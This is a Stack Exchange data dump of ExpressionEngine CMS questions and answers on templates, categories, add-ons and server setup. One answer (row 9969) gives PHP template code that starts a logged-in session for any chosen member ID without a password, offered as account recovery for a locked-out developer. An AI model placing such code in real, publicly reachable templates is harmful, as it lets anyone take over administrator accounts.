  <row Id="9963" PostTypeId="2" ParentId="9948" CreationDate="2013-05-01T21:13:23.093" Score="2" Body="&lt;p&gt;We not merged like this, but I would probably go about it like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;set up the main site&lt;/li&gt;&#xA;&lt;li&gt;set up the msm sites and don't import any channels.&lt;/li&gt;&#xA;&lt;li&gt;upgrade all EE1 sites (you can check license, but I'm pretty sure if you do this locally, you aren't breaking any rules)&lt;/li&gt;&#xA;&lt;li&gt;use field editor from mighty big root to export the channel fields and import them into the new set up.&lt;/li&gt;&#xA;&lt;li&gt;use datagrab to import all the entries etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It's probably the best way. Can think of unless someone else has a suggestion?&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-05-01T21:13:23.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9964" PostTypeId="2" ParentId="9947" CreationDate="2013-05-01T21:16:58.263" Score="1" Body="&lt;p&gt;I can reproduce this, so I've submitted it as a bug.  We'll update here with progress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-05-01T21:16:58.263" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9965" PostTypeId="2" ParentId="9960" CreationDate="2013-05-01T21:18:33.957" Score="0" Body="&lt;p&gt;[Just a note to add here that the real solution was in achieving workable EE parse order, dealt with in the comments to this answer.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Brandon, for putting this here from previous tweets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what you show, I would guess the problem is that you're trying to evaluate {comment_date} outside the template code range where it can be valid. That would be only within the {exp:comment:entries} tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a simple check, just put a non-php {comment_date} in your template near your attempted use of it, surrounded by some text you'll recognize. You'll see a big integer number if it's in a valid place; blank otherwise. Something like,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;Here's my comment_date: |{comment_date}|.&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you have this working, I think you're also trying to access comment_date in a way that won't work, within your php code as shown. You need to use a form like the following to do it, setting your own php var from the tag - I've included a proof echo as well.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $mycdate = &quot;{comment_date}&quot;; echo 'php comment_date is |'.$mycdate.&quot;|&quot;; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it helps to know, what I did as mentioned to work sensibly with a like situation was make a (very) simple plug-in, passing across the template variables to it. This allows you to do anything you want in PHP without having inline code, or permitting it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was chasing another issue which I thought you might have had, which was to have both {entry_date} and {comment_date} be valid to compare them (the ...minutes/days/months-later presentation). The EE exp:entries-exp:comment:entries tags work very strangely together, as we've long known, and the variables you want aren't ever both valid at any possible location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve this, I used croxton's Stash. This gets complicated, though, to have the right combination of parse='inward' parameters so that you actually get the variables passed across. So let's not get into that unless you need it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does locating your code within the {exp:comment:entries} loop not solve your problem? You should certainly have {comment_date} valid there, and can prove it simply with the tests and EE-php variable access mentioned above.&lt;/p&gt;&#xA;" OwnerUserId="103" LastEditorUserId="103" LastEditDate="2013-05-03T20:10:26.220" LastActivityDate="2013-05-03T20:10:26.220" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9966" PostTypeId="1" AcceptedAnswerId="10022" CreationDate="2013-05-01T22:46:48.493" Score="2" ViewCount="1218" Body="&lt;p&gt;I've got a list of categories:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Category 1&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Category 1.1&lt;/li&gt;&#xA;&lt;li&gt;Category 1.2&lt;/li&gt;&#xA;&lt;li&gt;Category 1.3&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Category 2&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Category 2.1&lt;/li&gt;&#xA;&lt;li&gt;Category 2.2&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;An entry can be assigned to any child category, OR it can be assigned to &lt;em&gt;just&lt;/em&gt; a parent category. For example:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Entry 1:&lt;/strong&gt; Category 1&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Entry 2:&lt;/strong&gt; Category 1, Category 1.2&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I want to display entries that are assigned to &lt;em&gt;only&lt;/em&gt; the parent category, with no child categories. So I want Entry 1, but &lt;em&gt;not&lt;/em&gt; Entry 2. The child categories will change, so I can't hard-code specific categories to exclude.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Update: Full Situation Description&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm working on an online learning site. The class produces 4 types of study materials: study notes, videos, practice questions, and spreadsheets. Each of these types is a separate channel, since they require different custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The course is broken down into 3 tiers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Part&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Topic&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Reading&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A study item can cover just a reading, it can be a review for an entire topic, or it can be a review for an entire part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to be able to display a list of study items that cover a particular Reading, a list of study items that review an entire Topic, or a list of study items that review an entire Part. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, I need to be able to display a &quot;new&quot; icon in each Topic heading if a new study item in that topic or in its child readings has been added recently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is where my problem comes in. I originally thought I could assign these items to categories, then output them based on category. But doing it that way I'm not able to display the items that are &lt;em&gt;only&lt;/em&gt; assigned to a Topic, or &lt;em&gt;only&lt;/em&gt; assigned to a Part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best &amp;amp; most client-friendly way to organize these study items?&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2013-05-02T23:08:30.670" LastActivityDate="2013-05-16T18:37:48.533" Title="Display Entries Assigned Exclusively to a Parent Category" Tags="|categories|" AnswerCount="3" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="9967" PostTypeId="1" CreationDate="2013-05-01T23:23:00.047" Score="1" ViewCount="963" Body="&lt;p&gt;I have EE installed on a clients windows server but I'm having problems removing index.php from the URL &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the first time I've worked on a windows server (all precious jobs have been in apache and used .htaccess)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hosting company is being incredibly difficult - can anyone please point me in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;James  &lt;/p&gt;&#xA;" OwnerUserId="1401" LastActivityDate="2013-05-04T10:39:45.980" Title="Remove index.php on a windows server" Tags="|htaccess|server|windows|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9968" PostTypeId="1" AcceptedAnswerId="9969" CreationDate="2013-05-01T23:29:00.450" Score="3" ViewCount="822" Body="&lt;p&gt;I've been locked out of a site I'm developing as my password is no longer accepted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've done so far.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Reset the password 10+ times&lt;/li&gt;&#xA;&lt;li&gt;copied password hash from database of site I know works into password hash of site I can't access&lt;/li&gt;&#xA;&lt;li&gt;generated an md5 hash and pasted in to password field&lt;/li&gt;&#xA;&lt;li&gt;reset password again via /admin.php hash changed in database,but I still can't access&lt;/li&gt;&#xA;&lt;li&gt;tried all of the above after clearing cookies&lt;/li&gt;&#xA;&lt;li&gt;tried again in 3 different browsers&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There are no other registered users that I can use to login, member registration has been turned off in the CP so I can't create a new user either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have also checked the exp_reset_password table and all values appear to be empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please advise.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-05-01T23:49:56.560" Title="EE 2.6.0 Password Reset not working" Tags="|ee2|login|password|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9969" PostTypeId="2" ParentId="9968" CreationDate="2013-05-01T23:49:56.560" Score="2" Body="&lt;p&gt;Do you have a php enabled template that's publicly accessible? (Or that can be made publicly accessible?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so the following code on the template &lt;em&gt;should&lt;/em&gt; log you in as whatever member_id you specify. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$member_id = 1; // Or whatever your member ID is&#xA;$this-&amp;gt;EE =&amp;amp; get_instance();&#xA;$this-&amp;gt;EE-&amp;gt;session-&amp;gt;create_new_session($member_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="963" LastActivityDate="2013-05-01T23:49:56.560" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9970" PostTypeId="2" ParentId="9901" CreationDate="2013-05-02T00:09:42.340" Score="1" Body="&lt;p&gt;Did you try the coparents tag? Isn't this what it's for?&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-05-02T00:09:42.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9971" PostTypeId="1" AcceptedAnswerId="9973" CreationDate="2013-05-02T00:34:07.750" Score="1" ViewCount="42" Body="&lt;p&gt;Want to display entry_id's in a numeric list so they can be sorted with jquery plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres current code to achieve this, basically adding appropriate amount of zeros before entry_id so all are 5 digits:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Entry ID {if entry_id &amp;lt; '10'}0000{/if}{if entry_id &amp;lt; '100'}000{/if}{if entry_id &amp;lt; '1000'}00{/if}{if entry_id &amp;lt; '10000'}0{/if}{entry_id}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There has to be a cleaner way!?&lt;/p&gt;&#xA;" OwnerUserId="1420" LastActivityDate="2013-05-02T02:59:31.407" Title="Displaying 5 digit entry_ids" Tags="|channel-entries|formatting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9972" PostTypeId="2" ParentId="9876" CreationDate="2013-05-02T01:22:36.043" Score="0" Body="&lt;p&gt;You may have already seen this but there is an answer to another question (here: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5447/recurring-subscription-for-posting-channel-entries?rq=1&quot;&gt;Recurring subscription for posting channel entries&lt;/a&gt;). They came to the conclusion that Simple Commerce, Membrr or Carthrob could work. That question is similar but not exactly the same.&lt;/p&gt;&#xA;" OwnerUserId="135" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-05-02T01:22:36.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9973" PostTypeId="2" ParentId="9971" CreationDate="2013-05-02T02:59:31.407" Score="2" Body="&lt;p&gt;You can use &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-string/user-guide/native_methods&quot; rel=&quot;nofollow&quot;&gt;CE String&lt;/a&gt; native method of &lt;code&gt;str_pad&lt;/code&gt; to pad the &lt;code&gt;{entry_id}&lt;/code&gt; to a certain length:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_str:ing str_pad=&quot;5|0|:CONST:STR_PAD_LEFT&quot;}{entry_id}{/exp:ce_str:ing}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-05-02T02:59:31.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9974" PostTypeId="1" CreationDate="2013-05-02T03:30:44.900" Score="1" ViewCount="64" Body="&lt;p&gt;After upgrading to 2.5.5, the top right link that links &amp;amp; redirects to the client site is not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link is there, and generates the correct URL, but redirect never happens and we're stuck with the blank page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.clientsite.com/?URL=http://www.clientsite.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.clientsite.com/?URL=http://www.clientsite.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be causing this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks everyone!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Unfortunately none of the solutions at the related &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/2403/control-panel-cp-link-button-is-not-working&quot;&gt;Control Panel (CP) Link Button is not working&lt;/a&gt; issue worked. &lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-05-02T14:59:24.773" Title="Control panel (CP) top right link not redirecting" Tags="|control-panel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9975" PostTypeId="1" AcceptedAnswerId="9977" CreationDate="2013-05-02T04:22:05.630" Score="4" ViewCount="117" Body="&lt;p&gt;I've been using Low Seg2Cat for ages now on my blog pages to display category information and do category archive pages. I just realised today that the {segment_x_category_image} tag is not working properly. If I view the page source I'm getting this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{filedir_1}badge-ideas.gif&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know the image is fine because on a single entry page I call it with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories}{category_image}{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it displays correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something wrong with this Seg2Cat tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've updated to latest version of Seg2Cat and it didn't fix the issue.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2013-06-29T11:40:13.227" Title="Low Seg2Cat and category images - file path doesn't resolve" Tags="|add-on|low-seg2cat|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9976" PostTypeId="2" ParentId="9966" CreationDate="2013-05-02T04:30:57.947" Score="1" Body="&lt;p&gt;I think the only way to do this would be to &lt;strong&gt;turn off&lt;/strong&gt; &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/global_channel_preferences.html#auto-assign-category-parents&quot; rel=&quot;nofollow&quot;&gt;Auto-Assign Category Parents&lt;/a&gt; in your Global Channel Preferences. That way Entry 2 is only assigned to Category 1.2. Like this instead:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Entry 1:&lt;/strong&gt; Category 1&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Entry 2:&lt;/strong&gt; Category 1.2&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That may be a deal breaker for you, but it's hard to say since I'm not sure how you intend to use these categories on your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it depends on what you want your output to look like. If you want to get entries listed by parent category, you could use &lt;code&gt;{exp:channel:category_archive}&lt;/code&gt; tag if you only need entry titles. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:category_archive channel=&quot;topic_pages&quot; style=&quot;linear&quot;}&#xA;  {categories}&#xA;    {if parent_id == 0}&#xA;      &amp;lt;h3&amp;gt;{category_name}&amp;lt;/h3&amp;gt;&#xA;      {entry_titles}&#xA;        &amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;      {/entry_titles}&#xA;    {/if}&#xA;  {/categories}&#xA;{/exp:channel:category_archive}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you can try nesting the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag inside &lt;code&gt;{exp:channel:categories}&lt;/code&gt; tag if you need more information like custom fields.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories category_group=&quot;1&quot; style=&quot;linear&quot; parent_only=&quot;yes&quot;}&#xA;  &amp;lt;h3&amp;gt;{category_name}&amp;lt;/h3&amp;gt;&#xA;  {exp:channel:entries category=&quot;{category_id}&quot;}&#xA;    &amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;  {/exp:channel:entries}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will give you...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Category 1&lt;/strong&gt;&lt;br&gt;&#xA;Entry 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Category 1&lt;/strong&gt;&lt;br&gt;&#xA;Entry 4&lt;br&gt;&#xA;Entry 6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tried this yet, but it may be possible to get the same thing more simply with the &lt;a href=&quot;http://ee-garage.com/nsm-categories&quot; rel=&quot;nofollow&quot;&gt;NSM Categories&lt;/a&gt; add-on.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-05-02T04:30:57.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9977" PostTypeId="2" ParentId="9975" CreationDate="2013-05-02T06:46:23.910" Score="3" Body="&lt;p&gt;Low Seg2Cat is meant to be as lightweight as possible. That means narrowing down on DB queries. As it might not be necessary for everyone to use the image tag, that could mean a superfluous query every page load. Instead, use something like &lt;a href=&quot;http://devot-ee.com/add-ons/parse-file-paths&quot; rel=&quot;nofollow&quot;&gt;Parse File Paths&lt;/a&gt; (free) to parse those &lt;code&gt;{filedir_x}&lt;/code&gt; vars:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:parse_file_paths}{segment_x_category_image}{/exp:parse_file_paths}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-05-02T06:46:23.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9978" PostTypeId="1" CreationDate="2013-05-02T07:32:23.883" Score="2" ViewCount="147" Body="&lt;p&gt;I'am trying to create a new Field of type &quot;Fieldtype - Switch&quot;, but I'am getting this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unable to load requested field type file: ft.pt_switch.php.&#xA;Confirm the fieldtype file is located in the expressionengine/third_party/ directory&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is weird, because the correct file should be ft.fieldpack_switch.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had the old 1.x version installed, but I uninstalled everything and removed the files. My EE version is 2.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can cause this and how to fix it?&lt;/p&gt;&#xA;" OwnerUserId="1421" LastActivityDate="2013-05-13T05:30:59.923" Title="Fieldpack 2.01 - Switch not working" Tags="|switch|field-pack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9979" PostTypeId="2" ParentId="9974" CreationDate="2013-05-02T08:20:42.353" Score="0" Body="&lt;p&gt;I've had a similar issue on a windows server only. Might that be related? Not an answer but it might narrow the issue down if so.&lt;/p&gt;&#xA;" OwnerUserId="555" LastActivityDate="2013-05-02T08:20:42.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9980" PostTypeId="1" CreationDate="2013-05-02T09:09:49.957" Score="4" ViewCount="399" Body="&lt;p&gt;We have a store we're setting and we would like to be able to setup default price modifiers and/or options per channel since there are several modifiers per product and a large number of products need to be added. Is this possible in any way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anticipating a 'no', is there a JS API/Event model that I can tap into? If there is a JS event for the field initialisation and a JS API to add modifiers, I could implement this myself as an extension.&lt;/p&gt;&#xA;" OwnerUserId="540" LastActivityDate="2013-05-02T09:09:49.957" Title="Possible to setup Expresso Store default price modifiers and/or options?" Tags="|expresso-store|javascript|fieldtype|modifiers|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9981" PostTypeId="1" CreationDate="2013-05-02T09:42:23.577" Score="1" ViewCount="111" Body="&lt;p&gt;Anyone know if it's possible to get back the name of the site an entry is from dynamically? Simple code example below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; site=&quot;siteA|siteB&quot;}&#xA;  &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;p&amp;gt;Published: {entry_date format=&quot;%j %M %Y&quot;} in {site_name}&amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tried using {site_name} and {site_label} but they just show the current site. Be nice to be able to get the site name and short name out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers, Ant&lt;/p&gt;&#xA;" OwnerUserId="1422" LastActivityDate="2013-05-02T14:55:57.380" Title="Dynamic {site_name} inside channel:entries tag with site=&quot;&quot; parameter" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9982" PostTypeId="1" CreationDate="2013-05-02T10:58:21.577" Score="1" ViewCount="101" Body="&lt;p&gt;I have a problem with my checkout process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read the docs and looked at 2 or 3 similar posts, but none of them had the same problems as I do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Zoo Visitor, I have set up the fields in store's settings, the user account is created, the emails get sent with the right data, the order is correctly tied to the user account. it's just the membership fields that are not saved! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can register without a problem via the {exp:zoo_visitor:registration_form}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when logged in, everything is working as expected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in my checkout I have the following code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {if logged_out}&#xA;        &amp;lt;h2&amp;gt;Mitglied werden?&amp;lt;/h2&amp;gt;&#xA;&#xA;        {field:register_member} &amp;lt;label for=&quot;register_member&quot;&amp;gt;Als Mitglied registrieren?&amp;lt;/label&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;toggle&quot;&amp;gt;&#xA;            &amp;lt;p&amp;gt;Sie müssen einzig ein Passwort angeben und schon sind sie Mitglied mit eigenem Login&amp;lt;/p&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;control-group {if error:password}error{/if}&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;password&quot;&amp;gt;Passwort&amp;lt;em class=&quot;required&quot;&amp;gt;*&amp;lt;/em&amp;gt;:&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    &amp;lt;input id=&quot;password&quot; class=&quot;control-input required&quot; type=&quot;password&quot; size=&quot;30&quot; maxlength=&quot;256&quot; value=&quot;&quot; name=&quot;password&quot;&amp;gt; &#xA;                    {error:password}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group {if error:password_confirm}error{/if}&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;password_confirm&quot;&amp;gt;Passwort bestätigen&amp;lt;em class=&quot;required&quot;&amp;gt;*&amp;lt;/em&amp;gt;:&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    &amp;lt;input id=&quot;password_confirm&quot; class=&quot;control-input required&quot; type=&quot;password&quot; size=&quot;30&quot; maxlength=&quot;256&quot; value=&quot;&quot; name=&quot;password_confirm&quot;&amp;gt; &#xA;                    {error:password_confirm}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- end .toggle --&amp;gt;&#xA;    {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I even tried with or without the register_member parameter. and the behaviour didn't change. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;this thread is very close to my problem, and although it sais that it has been fixed, it hasn't fixed my problem: &#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5402/membership-fields-failing-to-map-during-checkout-account-creation-in-expresso&quot;&gt;Membership Fields Failing to Map During Checkout / Account Creation in Expresso-Store&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;maybe it's because I have named my zoo visitor fields the same as the store member fields? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am on EE 2.5.5&lt;br&gt;&#xA;store 1.6.4&lt;br&gt;&#xA;zoo-visitor 1.3.25&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: I HAVE CHECKED IT ONCE AGAIN: WHAT HAPPENS IS THAT IT CREATES THE MEMBER, BUT ONLY A STANARD MEMBER – NOTHING IS SAVED TO THE ZOO MEMBERS CHANNEL!&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;please help - it's rather urgent!&lt;br&gt;&#xA;stefan &lt;/p&gt;&#xA;" OwnerUserId="388" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-05-02T13:27:42.867" Title="Address is not stored when registering member account on checkout" Tags="|expresso-store|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9983" PostTypeId="2" ParentId="9950" CreationDate="2013-05-02T11:34:04.433" Score="1" Body="&lt;p&gt;Looks like you would have to customise the paypal express payment file to do the following and then modify it to capture the e-mail IF given back.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Obtaining Buyer Consent to Receive Promotional Email&#xA;You can obtain the buyer’s consent to receive email promotions on PayPal pages. PayPal returns the email address in the response to GetExpressCheckoutDetails and DoExpressCheckoutPayment.&#xA;&#xA;NOTE:Obtaining buyer consent to receive promotional email is available with API Version 61.0 or later.&#xA;To obtain the buyer’s email address, set the BUYEREMAILOPTINENABLE field to 1 in the call to SetExpressCheckout.&#xA;&#xA;https://cms.paypal.com/uk/cgi-bin/?cmd=_render-content&amp;amp;content_ID=developer/e_howto_api_ECCustomizing&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="42" LastActivityDate="2013-05-02T11:34:04.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9984" PostTypeId="1" AcceptedAnswerId="9989" CreationDate="2013-05-02T12:56:29.770" Score="0" ViewCount="88" Body="&lt;p&gt;I have an existing site with a good number of forms that use Freeform, currently coded directly into the templates. I'd like to pull them out of the templates and into low variable fields, then call them to a page either via (a) using a segment or (b) via a field in a channel entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting up the variable works fine, and if I tick the parse early box and code it directly into the template the form displays great. However, when I try to use a segment variable or channel fieldtype to display it the form tags do not get parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, if I set up a variable called &quot;form-my-page&quot;, and code it directly into my template as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{form-my-page}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works great. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I try to do something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{form-{segment-2}}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doesn't parse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or if I attempt to use a fieldtype to attach a form to a channel entry, I find I'm unable to use early-parsed variables, and otherwise the form data doesn't get parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realized that I could use Solspace's new composer and fieldtype, but I don't want to have to redo all my custom forms right now. Thanks for any insight!&lt;/p&gt;&#xA;" OwnerUserId="946" LastEditorUserId="946" LastEditDate="2013-05-02T14:32:41.343" LastActivityDate="2013-05-02T14:38:09.297" Title="How can I use Low Variables to store Freeform data, then call to page dynamically?" Tags="|solspace-freeform|low-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
